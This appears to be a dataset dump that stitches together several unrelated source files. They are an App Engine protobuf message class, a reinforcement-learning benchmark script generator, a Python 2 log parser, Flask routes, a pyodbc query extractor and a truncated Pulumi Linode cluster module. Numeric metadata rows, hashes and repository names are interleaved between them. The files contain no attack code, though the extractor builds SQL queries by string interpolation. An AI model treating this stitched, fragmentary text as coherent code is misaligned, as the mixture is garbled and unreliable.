'apphosting.GetHostnameRequest' class GetHostnameResponse(ProtocolBuffer.ProtocolMessage): has_hostname_ = 0 hostname_ = "" def __init__(self, contents=None): if contents is not None: self.MergeFromString(contents) def hostname(self): return self.hostname_ def set_hostname(self, x): self.has_hostname_ = 1 self.hostname_ = x def clear_hostname(self): if self.has_hostname_: self.has_hostname_ = 0 self.hostname_ = "" def has_hostname(self): return self.has_hostname_ def MergeFrom(self, x): assert x is not self if (x.has_hostname()): self.set_hostname(x.hostname()) def Equals(self, x): if x is self: return 1 if self.has_hostname_ != x.has_hostname_: return 0 if self.has_hostname_ and self.hostname_ != x.hostname_: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 if (not self.has_hostname_): initialized = 0 if debug_strs is not None: debug_strs.append('Required field: hostname not set.') return initialized def ByteSize(self): n = 0 n += self.lengthString(len(self.hostname_)) return n + 1 def ByteSizePartial(self): n = 0 if (self.has_hostname_): n += 1 n += self.lengthString(len(self.hostname_)) return n def Clear(self): self.clear_hostname() def OutputUnchecked(self, out): out.putVarInt32(10) out.putPrefixedString(self.hostname_) def OutputPartial(self, out): if (self.has_hostname_): out.putVarInt32(10) out.putPrefixedString(self.hostname_) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 10: self.set_hostname(d.getPrefixedString()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" if self.has_hostname_: res+=prefix+("hostname: %s\n" % self.DebugFormatString(self.hostname_)) return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) khostname = 1 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "hostname", }, 1) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.STRING, }, 1, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.GetHostnameResponse' if _extension_runtime: pass __all__ = ['ModulesServiceError','GetModulesRequest','GetModulesResponse','GetVersionsRequest','GetVersionsResponse','GetDefaultVersionRequest','GetDefaultVersionResponse','GetNumInstancesRequest','GetNumInstancesResponse','SetNumInstancesRequest','SetNumInstancesResponse','StartModuleRequest','StartModuleResponse','StopModuleRequest','StopModuleResponse','GetHostnameRequest','GetHostnameResponse']

24.839779

401

0.66964

5,744

44,960

5.029248

0.038127

0.043859

0.038632

0.028039

0.87905

0.871642

0.866761

0.86323

0.846891

0

0.020017

0.211077

44,960

1,809

402

24.85351

0.794418

0.012656

0

0.891648

0

0.040856

0.016406

0

0.012792

1

0.214447

false

0.015801

0.002257

0.043642

0.417607

0.015049

0

null

0

1

0

1

0

null

0

1

0

8

9adb8ec86466a8e6cdf6edf477cb5731ea213328

7,482

py

Python

TeachMyAgent/run_utils/generate_benchmark_script.py

flowersteam/TeachMyAgent

a8f71cbfce4cb8ca6da24d00ea690495e3afbd2e

[ "MIT" ]

45

2021-03-19T00:16:57.000Z

2022-03-20T14:02:18.000Z

TeachMyAgent/run_utils/generate_benchmark_script.py

flowersteam/TeachMyAgent

a8f71cbfce4cb8ca6da24d00ea690495e3afbd2e

[ "MIT" ]

5

2021-04-26T06:21:10.000Z

2021-12-24T02:57:02.000Z

TeachMyAgent/run_utils/generate_benchmark_script.py

flowersteam/TeachMyAgent

a8f71cbfce4cb8ca6da24d00ea690495e3afbd2e

[ "MIT" ]

5

2021-03-23T20:21:14.000Z

2022-03-22T14:55:11.000Z

import sys if __name__ == '__main__': ''' Generate a script launching all experiments needed to perform the full benchmark (both skill-specific and global performance) for a teacher. ''' experiment_name = sys.argv[1] experiment_arguments = ' '.join(sys.argv[2:]) nb_seeds = 16 # {} with open("benchmark_scripts/full_benchmark_" + experiment_name + ".txt", 'w') as f: f.write('#### PROFILING STUMPS\n') for ek in ["no", "low", "high"]: f.write('## {} Expert Knowledge\n'.format(ek)) f.write('# Mostly unfeasible task space\n') f.write( '--slurm_conf curta_inria_long --nb_seeds {} --exp_name profiling_benchmark_stumps_{}_criteria_1 ' '--test_set parametric_stumps_test_set --keep_periodical_task_samples 250000 --env parametric-continuous-stump-tracks-v0 ' '--max_stump_h 9.0 --max_obstacle_spacing 6.0 --walker_type old_classic_bipedal --*allow_expert_knowledge {} ' '--student sac_v0.1.1 --backend tf1 --steps_per_ep 500000 --nb_test_episode 100 --nb_env_steps 20 {}\n' .format(nb_seeds, experiment_name, ek, experiment_arguments) ) f.write('# Mostly feasible task space\n') f.write( '--slurm_conf curta_inria_long --nb_seeds {} --exp_name profiling_benchmark_stumps_{}_criteria_2 ' '--test_set parametric_stumps_test_set --keep_periodical_task_samples 250000 --env parametric-continuous-stump-tracks-v0 ' '--max_stump_h 3.0 --min_stump_h -3.0 --max_obstacle_spacing 6.0 --walker_type old_classic_bipedal ' '--*allow_expert_knowledge {} --student sac_v0.1.1 --backend tf1 --steps_per_ep 500000 ' '--nb_test_episode 100 --nb_env_steps 20 {}\n' .format(nb_seeds, experiment_name, ek, experiment_arguments) ) f.write('# Ability to handle a student that can forget\n') f.write( '--slurm_conf curta_inria_long --nb_seeds {} --exp_name profiling_benchmark_stumps_{}_criteria_3 ' '--test_set parametric_stumps_test_set --reset_frequency 7000000 --keep_periodical_task_samples 250000 ' '--env parametric-continuous-stump-tracks-v0 --max_stump_h 3.0 --max_obstacle_spacing 6.0 --walker_type old_classic_bipedal ' '--*allow_expert_knowledge {} --student sac_v0.1.1 --backend tf1 --steps_per_ep 500000 ' '--nb_test_episode 100 --nb_env_steps 20 {}\n' .format(nb_seeds, experiment_name, ek, experiment_arguments) ) f.write('# Handle discontinuous difficulty over task space\n') f.write( '--slurm_conf curta_inria_long --nb_seeds {} --exp_name profiling_benchmark_stumps_{}_criteria_4 --shuffle_dimensions ' '--test_set parametric_stumps_test_set --keep_periodical_task_samples 250000 --env parametric-continuous-stump-tracks-v0 ' '--max_stump_h 3.0 --max_obstacle_spacing 6.0 --walker_type old_classic_bipedal --*allow_expert_knowledge {} ' '--student sac_v0.1.1 --backend tf1 --steps_per_ep 500000 --nb_test_episode 100 --nb_env_steps 20 {}\n' .format(nb_seeds, experiment_name, ek, experiment_arguments) ) f.write('# Robustness over a variety of students\n') f.write( '--slurm_conf curta_inria_long --nb_seeds {} --exp_name profiling_benchmark_stumps_{}_criteria_5 ' '--test_set parametric_stumps_test_set --keep_periodical_task_samples 250000 --env parametric-continuous-stump-tracks-v0 ' '--max_stump_h 3.0 --max_obstacle_spacing 6.0 --*walker_type spider --*allow_expert_knowledge {} ' '--*student sac_v0.1.1 --backend tf1 --steps_per_ep 500000 --nb_test_episode 100 --nb_env_steps 20 {}\n' .format(nb_seeds, experiment_name, ek, experiment_arguments) ) f.write( '--slurm_conf curta_inria_long --nb_seeds {} --exp_name profiling_benchmark_stumps_{}_criteria_5 ' '--test_set parametric_stumps_test_set --keep_periodical_task_samples 250000 --env parametric-continuous-stump-tracks-v0 ' '--max_stump_h 3.0 --max_obstacle_spacing 6.0 --*walker_type small_bipedal --*allow_expert_knowledge {} ' '--*student sac_v0.1.1 --backend tf1 --steps_per_ep 500000 --nb_test_episode 100 --nb_env_steps 20 {}\n' .format(nb_seeds, experiment_name, ek, experiment_arguments) ) f.write( '--slurm_conf curta_inria_long --nb_seeds {} --exp_name profiling_benchmark_stumps_{}_criteria_5 ' '--test_set parametric_stumps_test_set --keep_periodical_task_samples 250000 --env parametric-continuous-stump-tracks-v0 ' '--max_stump_h 3.0 --max_obstacle_spacing 6.0 --*walker_type spider --*allow_expert_knowledge {} ' '--*student ppo --lr 0.0003 --backend tf1 --steps_per_ep 500000 --nb_test_episode 100 --nb_env_steps 20 -hs {}\n' .format(nb_seeds, experiment_name, ek, experiment_arguments) ) f.write( '--slurm_conf curta_inria_long --nb_seeds {} --exp_name profiling_benchmark_stumps_{}_criteria_5 ' '--test_set parametric_stumps_test_set --keep_periodical_task_samples 250000 --env parametric-continuous-stump-tracks-v0 ' '--max_stump_h 3.0 --max_obstacle_spacing 6.0 --*walker_type small_bipedal --*allow_expert_knowledge {} ' '--*student ppo --lr 0.0003 --backend tf1 --steps_per_ep 500000 --nb_test_episode 100 --nb_env_steps 20 -hs {}\n' .format(nb_seeds, experiment_name, ek, experiment_arguments) ) f.write('#### PARKOUR\n') f.write( '--slurm_conf curta_inria_long --nb_seeds 16 --exp_name benchmark_parkour_{} --test_set walking_test_set_v1 ' '--keep_periodical_task_samples 250000 --env parametric-continuous-parkour-v0 --*walker_type old_classic_bipedal ' '--allow_expert_knowledge minimal --student sac_v0.1.1 --backend tf1 --steps_per_ep 500000 ' '--nb_test_episode 100 --nb_env_steps 20 {}\n' .format(nb_seeds, experiment_name, ek, experiment_arguments) ) f.write( '--slurm_conf curta_inria_long --nb_seeds 16+16 --exp_name benchmark_parkour_{} --test_set climbing_test_set_v1 ' '--keep_periodical_task_samples 250000 --env parametric-continuous-parkour-v0 --*walker_type climbing_profile_chimpanzee ' '--allow_expert_knowledge minimal --student sac_v0.1.1 --backend tf1 --steps_per_ep 500000 ' '--nb_test_episode 100 --nb_env_steps 20 {}\n' .format(nb_seeds, experiment_name, ek, experiment_arguments) ) f.write( '--slurm_conf curta_inria_long --nb_seeds 16+32 --exp_name benchmark_parkour_{} --test_set swimming_test_set_v1 ' '--keep_periodical_task_samples 250000 --env parametric-continuous-parkour-v0 --*walker_type fish ' '--allow_expert_knowledge minimal --student sac_v0.1.1 --backend tf1 --steps_per_ep 500000 ' '--nb_test_episode 100 --nb_env_steps 20 {}\n' .format(nb_seeds, experiment_name, ek, experiment_arguments) )

74.82

148

0.64702

956

7,482

4.662134

0.144351

0.036123

0.027148

0.03702

0.87256

0.859098

0.845187

0.841373

0

0.054978

0.241513

7,482

99

149

75.575758

0.730396

0.000267

0

0.56383

1

0.074468

0.660563

0.24023

0

1

0

false

0

0.010638

0

0.010638

0

null

0

1

0

1

0

1

0

null

0

8

9afd9b0d7afc637b94e1467881067432a844c938

3,406

py

Python

build/lib.linux-x86_64-2.7/timediff/log_parser.py

nomelif/time-diff

cc713399166d278855004b38e4911c2a07ed478f

[ "MIT" ]

2

2016-04-08T20:14:31.000Z

2019-11-19T12:23:35.000Z

timediff/log_parser.py

nomelif/time-diff

cc713399166d278855004b38e4911c2a07ed478f

[ "MIT" ]

null

timediff/log_parser.py

nomelif/time-diff

cc713399166d278855004b38e4911c2a07ed478f

[ "MIT" ]

null

import time import datetime class LogParser(): """ Class used to parse logs. """ first_time = None """ Time of the first line. """ previous_time = None """ Time of the previous line. """ def __init__(self): """ Empty _\_\_init\_\__ -method. """ pass def parse_logs(self, log_arr, time_format, zero_pad=True): """ Function that parses a log-array as given by cli_input.CliInput. Returns a list of tuples from _parse_line_. """ logs = [] for line in log_arr: logs.append(self.parse_line(line, time_format, zero_pad)) return logs def get_diff(self, line, time_format, zero_pad=True): """ Parses a single line from a log-array. Returns the difference in time from the previous line """ msg_time = None msg_time_set = False if zero_pad: line = line.zfill(2) try: try: msg_time = time.strptime(line, time_format) msg_time_set = True except ValueError, v: msg_time = line.split(v.args[0][26:])[0] msg_time = time.strptime(msg_time, time_format) if(msg_time.tm_year == 1900): msg_time=time.struct_time((2001, msg_time.tm_mon, msg_time.tm_mday, msg_time.tm_hour, msg_time.tm_min, msg_time.tm_sec, msg_time.tm_wday, msg_time.tm_yday, msg_time.tm_isdst)) msg_time_set = True else: if(msg_time.tm_year == 1900): msg_time=time.struct_time((2001, msg_time.tm_mon, msg_time.tm_mday, msg_time.tm_hour, msg_time.tm_min, msg_time.tm_sec, msg_time.tm_wday, msg_time.tm_yday, msg_time.tm_isdst)) msg_time_set = True if msg_time_set: if self.first_time == None and self.previous_time == None: self.first_time = msg_time self.previous_time = msg_time time_diff_from_previous = time.mktime(msg_time) - time.mktime(self.previous_time) self.previous_time = msg_time return(time_diff_from_previous) else: return None except ValueError: return None def parse_line(self, line, time_format, zero_pad=True): """ Parses a single line from a log-array. Returns the tuple [time from first line] [time from last line] : [line's contents] """ orig_line = line msg_time = None msg_time_set = False if zero_pad: line = line.zfill(2) try: try: msg_time = time.strptime(line, time_format) msg_time_set = True except ValueError, v: msg_time = line.split(v.args[0][26:])[0] msg_time = time.strptime(msg_time, time_format) if(msg_time.tm_year == 1900): msg_time=time.struct_time((2001, msg_time.tm_mon, msg_time.tm_mday, msg_time.tm_hour, msg_time.tm_min, msg_time.tm_sec, msg_time.tm_wday, msg_time.tm_yday, msg_time.tm_isdst)) msg_time_set = True else: if(msg_time.tm_year == 1900): msg_time=time.struct_time((2001, msg_time.tm_mon, msg_time.tm_mday, msg_time.tm_hour, msg_time.tm_min, msg_time.tm_sec, msg_time.tm_wday, msg_time.tm_yday, msg_time.tm_isdst)) msg_time_set = True if msg_time_set: if self.first_time == None and self.previous_time == None: self.first_time = msg_time self.previous_time = msg_time time_diff_from_begin = time.mktime(msg_time) - time.mktime(self.first_time) time_diff_from_previous = time.mktime(msg_time) - time.mktime(self.previous_time) self.previous_time = msg_time return(datetime.timedelta(seconds=time_diff_from_begin), datetime.timedelta(seconds=time_diff_from_previous), orig_line) else: return None except ValueError: return None

29.877193

181

0.716089

566

3,406

3.977032

0.157244

0.214571

0.143936

0.037317

0.802754

0.768992

0.737006

0.687694

0

0.014963

0.175866

3,406

114

182

29.877193

0.786961

0

0.756757

0

null

0.013514

0.027027

null

0

null

1

0

1

0

1

0

1

0

null

0

1

0

7

b111eda27fab665ec115875e9db3960414b8edeb

266

py

Python

built-in/TensorFlow/Official/cv/image_classification/GoogleNet_for_TensorFlow/inception/inception.py

Huawei-Ascend/modelzoo

df51ed9c1d6dbde1deef63f2a037a369f8554406

[ "Apache-2.0" ]

null

built-in/TensorFlow/Official/cv/image_classification/GoogleNet_for_TensorFlow/inception/inception.py

Huawei-Ascend/modelzoo

df51ed9c1d6dbde1deef63f2a037a369f8554406

[ "Apache-2.0" ]

3

2021-03-31T20:15:40.000Z

2022-02-09T23:50:46.000Z

built-in/TensorFlow/Official/cv/image_classification/GoogleNet_for_TensorFlow/inception/inception.py

Huawei-Ascend/modelzoo

df51ed9c1d6dbde1deef63f2a037a369f8554406

[ "Apache-2.0" ]

null

from .inception_v1 import inception_v1 from .inception_v1 import inception_v1_arg_scope from .inception_v1 import inception_v1_base from .inception_v4 import inception_v4 from .inception_v4 import inception_v4_arg_scope from .inception_v4 import inception_v4_base

29.555556

48

0.879699

42

266

5.142857

0.190476

0.361111

0.208333

0.291667

0.888889

0

0.05

0.097744

266

8

49

33.25

0.85

0

1

0

true

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

8

b121e6cc0e778516760a8bcc6566a70132bd28a4

294

py

Python

project/carlos/routes.py

ArturoMorales93/Plataformas_II_Project

7dd54c8c5159a1eb8c761a3a8e4f4bfb96a078eb

[ "Unlicense" ]

1

2021-01-29T15:16:49.000Z

project/carlos/routes.py

ArturoMorales93/Plataformas_II_Project

7dd54c8c5159a1eb8c761a3a8e4f4bfb96a078eb

[ "Unlicense" ]

12

2021-02-01T20:31:31.000Z

2021-04-15T07:34:54.000Z

project/carlos/routes.py

ArturoMorales93/Plataformas_II_Project

7dd54c8c5159a1eb8c761a3a8e4f4bfb96a078eb

[ "Unlicense" ]

1

2021-03-08T23:34:37.000Z

from flask import render_template from . import carlos @carlos.route('/es/iot', methods=['GET']) @carlos.route('/iot', methods=['GET']) def iot_es(): return render_template('es_iot.html') @carlos.route('/en/iot', methods=['GET']) def iot_en(): return render_template('en_iot.html')

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0.2

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294

13

42

22.615385

0.75

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0

1

0.222222

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0

0.222222

0.666667

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null

1

0

null

0

1

0

1

0

7

b1491c48f541fa113534a4f7535e9a398435f37a

57

py

Python

1.py

qq861078848/testgit

6f5199e7c086f428903233073188840c71269853

[ "MIT" ]

null

1.py

qq861078848/testgit

6f5199e7c086f428903233073188840c71269853

[ "MIT" ]

null

1.py

qq861078848/testgit

6f5199e7c086f428903233073188840c71269853

[ "MIT" ]

null

print("hello world") print("hello world") print("22222")

14.25

20

0.701754

8

57

5

0.5

0.75

1

0

0.096154

0.087719

57

3

21

19

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0

true

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

b1948a8d85855dac9863c13dff560137403a3dcd

168

py

Python

snake_rl/utils/__init__.py

alex-petrenko/snake-rl

ca7000120985da7fcac4047747ad7937693abcfe

[ "MIT" ]

1

2021-08-28T10:37:33.000Z

snake_rl/utils/__init__.py

dre2004/snake-rl

ca7000120985da7fcac4047747ad7937693abcfe

[ "MIT" ]

null

snake_rl/utils/__init__.py

dre2004/snake-rl

ca7000120985da7fcac4047747ad7937693abcfe

[ "MIT" ]

1

2021-02-18T00:22:40.000Z

from snake_rl.utils.vec import Vec from snake_rl.utils.monitor import Monitor from snake_rl.utils.logs import init_logger from snake_rl.utils.numpy_utils import imshow

33.6

45

0.857143

30

168

4.6

0.4

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168

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0

1

0

1

0

1

0

7

b1a8b7f94d4e922a43da3d18a9033014726c88f6

3,624

py

Python

extract.py

pduebel/geodasy-tests-generator

1851ba9e7be0a379b29da0fbd851e0bc58d49ddf

[ "MIT" ]

null

extract.py

pduebel/geodasy-tests-generator

1851ba9e7be0a379b29da0fbd851e0bc58d49ddf

[ "MIT" ]

null

extract.py

pduebel/geodasy-tests-generator

1851ba9e7be0a379b29da0fbd851e0bc58d49ddf

[ "MIT" ]

null

def extract(db_file, test, proj): import pyodbc final_test_data = [] odbc_conn_str = 'DRIVER={Microsoft Access Driver (*.mdb)};DBQ=%s;'%(db_file) conn = pyodbc.connect(odbc_conn_str) cursor = conn.cursor() if test == "SPT": hole_select = "select distinct HOLE_ID from SPT where PROJ_ID='%s'"%(proj) cursor.execute(hole_select) holes = cursor.fetchall() final_holes = [list(i) for i in holes] for i in range(len(final_holes)): data_select = "select SPT_BASE, SPT_N from %s where HOLE_ID='%s' and PROJ_ID='%s'"%(test, final_holes[i][0], proj) cursor.execute(data_select) data = cursor.fetchall() test_data = [list(i) for i in data] final_test_data.append(test_data) if test == "SHDP" or test == "DP": hole_select = "select distinct HOLE_ID from DPROBE where PROJ_ID='%s'"%(proj) cursor.execute(hole_select) holes = cursor.fetchall() final_holes = [list(i) for i in holes] for i in range(len(final_holes)): data_select = "select DPSTART, BLOWS from DPROBE where HOLE_ID='%s' and PROJ_ID='%s'"%(final_holes[i][0], proj) cursor.execute(data_select) data = cursor.fetchall() test_data = [list(i) for i in data] final_test_data.append(test_data) if test == "SV" or test == "HP": hole_select = "select distinct HOLE_ID from TRIALPIT where PROJ_ID='%s'"%(proj) cursor.execute(hole_select) holes = cursor.fetchall() final_holes = [list(i) for i in holes] if test == "HP": for i in range(len(final_holes)): data_select = """select TPIT_TEST_DEPTH, TPIT_AVERAGE_DFLT from TRIALPIT where (TPIT_TEST_TYPE='HP' or TPIT_TEST_TYPE='P' or TPIT_TEST_TYPE='HP>' or TPIT_TEST_TYPE='HP<' or TPIT_TEST_TYPE='HP >' or TPIT_TEST_TYPE='HP <' or TPIT_TEST_TYPE='H' or TPIT_TEST_TYPE='H>' or TPIT_TEST_TYPE='H >' or TPIT_TEST_TYPE='H<' or TPIT_TEST_TYPE='H <' or TPIT_TEST_TYPE='P>' or TPIT_TEST_TYPE='P >' or TPIT_TEST_TYPE='P<' or TPIT_TEST_TYPE='P <') and HOLE_ID='%s' and PROJ_ID='%s'"""%(final_holes[i][0], proj) cursor.execute(data_select) data = cursor.fetchall() test_data = [list(i) for i in data] final_test_data.append(test_data) if test == "SV": for i in range(len(final_holes)): data_select = """select TPIT_TEST_DEPTH, TPIT_AVERAGE_DFLT from TRIALPIT where (TPIT_TEST_TYPE='SV' or TPIT_TEST_TYPE='V' or TPIT_TEST_TYPE='SV>' or TPIT_TEST_TYPE='SV<' or TPIT_TEST_TYPE='SV >' or TPIT_TEST_TYPE='SV <' or TPIT_TEST_TYPE='S' or TPIT_TEST_TYPE='S>' or TPIT_TEST_TYPE='S >' or TPIT_TEST_TYPE='S<' or TPIT_TEST_TYPE='S <' or TPIT_TEST_TYPE='V>' or TPIT_TEST_TYPE='V >' or TPIT_TEST_TYPE='V<' or TPIT_TEST_TYPE='V <') and HOLE_ID='%s' and PROJ_ID='%s'"""%(final_holes[i][0], proj) cursor.execute(data_select) data = cursor.fetchall() test_data = [list(i) for i in data] final_test_data.append(test_data) cursor.commit() return final_holes, final_test_data

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3,624

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127

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0

null

0

1

0

null

0

8

492b9ee09e4de3543a88bdab1c0ca9eeea226c4e

19,340

py

Python

sdk/python/pulumi_linode/lke_cluster.py

pulumi/pulumi-linode

dcdc078ddcad836dddf6f31879f0f0488bec33b4

[ "ECL-2.0", "Apache-2.0" ]

18

2019-05-02T21:14:37.000Z

2021-12-19T18:37:40.000Z

sdk/python/pulumi_linode/lke_cluster.py

pulumi/pulumi-linode

dcdc078ddcad836dddf6f31879f0f0488bec33b4

[ "ECL-2.0", "Apache-2.0" ]

79

2019-05-01T17:52:03.000Z

2022-03-31T15:31:56.000Z

sdk/python/pulumi_linode/lke_cluster.py

pulumi/pulumi-linode

dcdc078ddcad836dddf6f31879f0f0488bec33b4

[ "ECL-2.0", "Apache-2.0" ]

6

2019-05-02T00:37:23.000Z

2021-05-04T11:10:40.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from . import _utilities from . import outputs from ._inputs import * __all__ = ['LkeClusterArgs', 'LkeCluster'] @pulumi.input_type class LkeClusterArgs: def __init__(__self__, *, k8s_version: pulumi.Input[str], label: pulumi.Input[str], pools: pulumi.Input[Sequence[pulumi.Input['LkeClusterPoolArgs']]], region: pulumi.Input[str], tags: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None): """ The set of arguments for constructing a LkeCluster resource. :param pulumi.Input[str] k8s_version: The desired Kubernetes version for this Kubernetes cluster in the format of `major.minor` (e.g. `1.17`), and the latest supported patch version will be deployed. :param pulumi.Input[str] label: This Kubernetes cluster's unique label. :param pulumi.Input[Sequence[pulumi.Input['LkeClusterPoolArgs']]] pools: Additional nested attributes: :param pulumi.Input[str] region: This Kubernetes cluster's location. :param pulumi.Input[Sequence[pulumi.Input[str]]] tags: An array of tags applied to the Kubernetes cluster. Tags are for organizational purposes only. """ pulumi.set(__self__, "k8s_version", k8s_version) pulumi.set(__self__, "label", label) pulumi.set(__self__, "pools", pools) pulumi.set(__self__, "region", region) if tags is not None: pulumi.set(__self__, "tags", tags) @property @pulumi.getter(name="k8sVersion") def k8s_version(self) -> pulumi.Input[str]: """ The desired Kubernetes version for this Kubernetes cluster in the format of `major.minor` (e.g. `1.17`), and the latest supported patch version will be deployed. """ return pulumi.get(self, "k8s_version") @k8s_version.setter def k8s_version(self, value: pulumi.Input[str]): pulumi.set(self, "k8s_version", value) @property @pulumi.getter def label(self) -> pulumi.Input[str]: """ This Kubernetes cluster's unique label. """ return pulumi.get(self, "label") @label.setter def label(self, value: pulumi.Input[str]): pulumi.set(self, "label", value) @property @pulumi.getter def pools(self) -> pulumi.Input[Sequence[pulumi.Input['LkeClusterPoolArgs']]]: """ Additional nested attributes: """ return pulumi.get(self, "pools") @pools.setter def pools(self, value: pulumi.Input[Sequence[pulumi.Input['LkeClusterPoolArgs']]]): pulumi.set(self, "pools", value) @property @pulumi.getter def region(self) -> pulumi.Input[str]: """ This Kubernetes cluster's location. """ return pulumi.get(self, "region") @region.setter def region(self, value: pulumi.Input[str]): pulumi.set(self, "region", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ An array of tags applied to the Kubernetes cluster. Tags are for organizational purposes only. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "tags", value) @pulumi.input_type class _LkeClusterState: def __init__(__self__, *, api_endpoints: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, k8s_version: Optional[pulumi.Input[str]] = None, kubeconfig: Optional[pulumi.Input[str]] = None, label: Optional[pulumi.Input[str]] = None, pools: Optional[pulumi.Input[Sequence[pulumi.Input['LkeClusterPoolArgs']]]] = None, region: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None): """ Input properties used for looking up and filtering LkeCluster resources. :param pulumi.Input[Sequence[pulumi.Input[str]]] api_endpoints: The endpoints for the Kubernetes API server. :param pulumi.Input[str] k8s_version: The desired Kubernetes version for this Kubernetes cluster in the format of `major.minor` (e.g. `1.17`), and the latest supported patch version will be deployed. :param pulumi.Input[str] kubeconfig: The base64 encoded kubeconfig for the Kubernetes cluster. :param pulumi.Input[str] label: This Kubernetes cluster's unique label. :param pulumi.Input[Sequence[pulumi.Input['LkeClusterPoolArgs']]] pools: Additional nested attributes: :param pulumi.Input[str] region: This Kubernetes cluster's location. :param pulumi.Input[str] status: The status of the node. (`ready`, `not_ready`) :param pulumi.Input[Sequence[pulumi.Input[str]]] tags: An array of tags applied to the Kubernetes cluster. Tags are for organizational purposes only. """ if api_endpoints is not None: pulumi.set(__self__, "api_endpoints", api_endpoints) if k8s_version is not None: pulumi.set(__self__, "k8s_version", k8s_version) if kubeconfig is not None: pulumi.set(__self__, "kubeconfig", kubeconfig) if label is not None: pulumi.set(__self__, "label", label) if pools is not None: pulumi.set(__self__, "pools", pools) if region is not None: pulumi.set(__self__, "region", region) if status is not None: pulumi.set(__self__, "status", status) if tags is not None: pulumi.set(__self__, "tags", tags) @property @pulumi.getter(name="apiEndpoints") def api_endpoints(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ The endpoints for the Kubernetes API server. """ return pulumi.get(self, "api_endpoints") @api_endpoints.setter def api_endpoints(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "api_endpoints", value) @property @pulumi.getter(name="k8sVersion") def k8s_version(self) -> Optional[pulumi.Input[str]]: """ The desired Kubernetes version for this Kubernetes cluster in the format of `major.minor` (e.g. `1.17`), and the latest supported patch version will be deployed. """ return pulumi.get(self, "k8s_version") @k8s_version.setter def k8s_version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "k8s_version", value) @property @pulumi.getter def kubeconfig(self) -> Optional[pulumi.Input[str]]: """ The base64 encoded kubeconfig for the Kubernetes cluster. """ return pulumi.get(self, "kubeconfig") @kubeconfig.setter def kubeconfig(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "kubeconfig", value) @property @pulumi.getter def label(self) -> Optional[pulumi.Input[str]]: """ This Kubernetes cluster's unique label. """ return pulumi.get(self, "label") @label.setter def label(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "label", value) @property @pulumi.getter def pools(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['LkeClusterPoolArgs']]]]: """ Additional nested attributes: """ return pulumi.get(self, "pools") @pools.setter def pools(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['LkeClusterPoolArgs']]]]): pulumi.set(self, "pools", value) @property @pulumi.getter def region(self) -> Optional[pulumi.Input[str]]: """ This Kubernetes cluster's location. """ return pulumi.get(self, "region") @region.setter def region(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "region", value) @property @pulumi.getter def status(self) -> Optional[pulumi.Input[str]]: """ The status of the node. (`ready`, `not_ready`) """ return pulumi.get(self, "status") @status.setter def status(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "status", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ An array of tags applied to the Kubernetes cluster. Tags are for organizational purposes only. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "tags", value) class LkeCluster(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, k8s_version: Optional[pulumi.Input[str]] = None, label: Optional[pulumi.Input[str]] = None, pools: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['LkeClusterPoolArgs']]]]] = None, region: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, __props__=None): """ Manages an LKE cluster. ## Example Usage ```python import pulumi import pulumi_linode as linode my_cluster = linode.LkeCluster("my-cluster", k8s_version="1.20", label="my-cluster", pools=[linode.LkeClusterPoolArgs( count=3, type="g6-standard-2", )], region="us-central", tags=["prod"]) ``` ## Import LKE Clusters can be imported using the `id`, e.g. ```sh $ pulumi import linode:index/lkeCluster:LkeCluster my_cluster 12345 ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] k8s_version: The desired Kubernetes version for this Kubernetes cluster in the format of `major.minor` (e.g. `1.17`), and the latest supported patch version will be deployed. :param pulumi.Input[str] label: This Kubernetes cluster's unique label. :param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['LkeClusterPoolArgs']]]] pools: Additional nested attributes: :param pulumi.Input[str] region: This Kubernetes cluster's location. :param pulumi.Input[Sequence[pulumi.Input[str]]] tags: An array of tags applied to the Kubernetes cluster. Tags are for organizational purposes only. """ ... @overload def __init__(__self__, resource_name: str, args: LkeClusterArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Manages an LKE cluster. ## Example Usage ```python import pulumi import pulumi_linode as linode my_cluster = linode.LkeCluster("my-cluster", k8s_version="1.20", label="my-cluster", pools=[linode.LkeClusterPoolArgs( count=3, 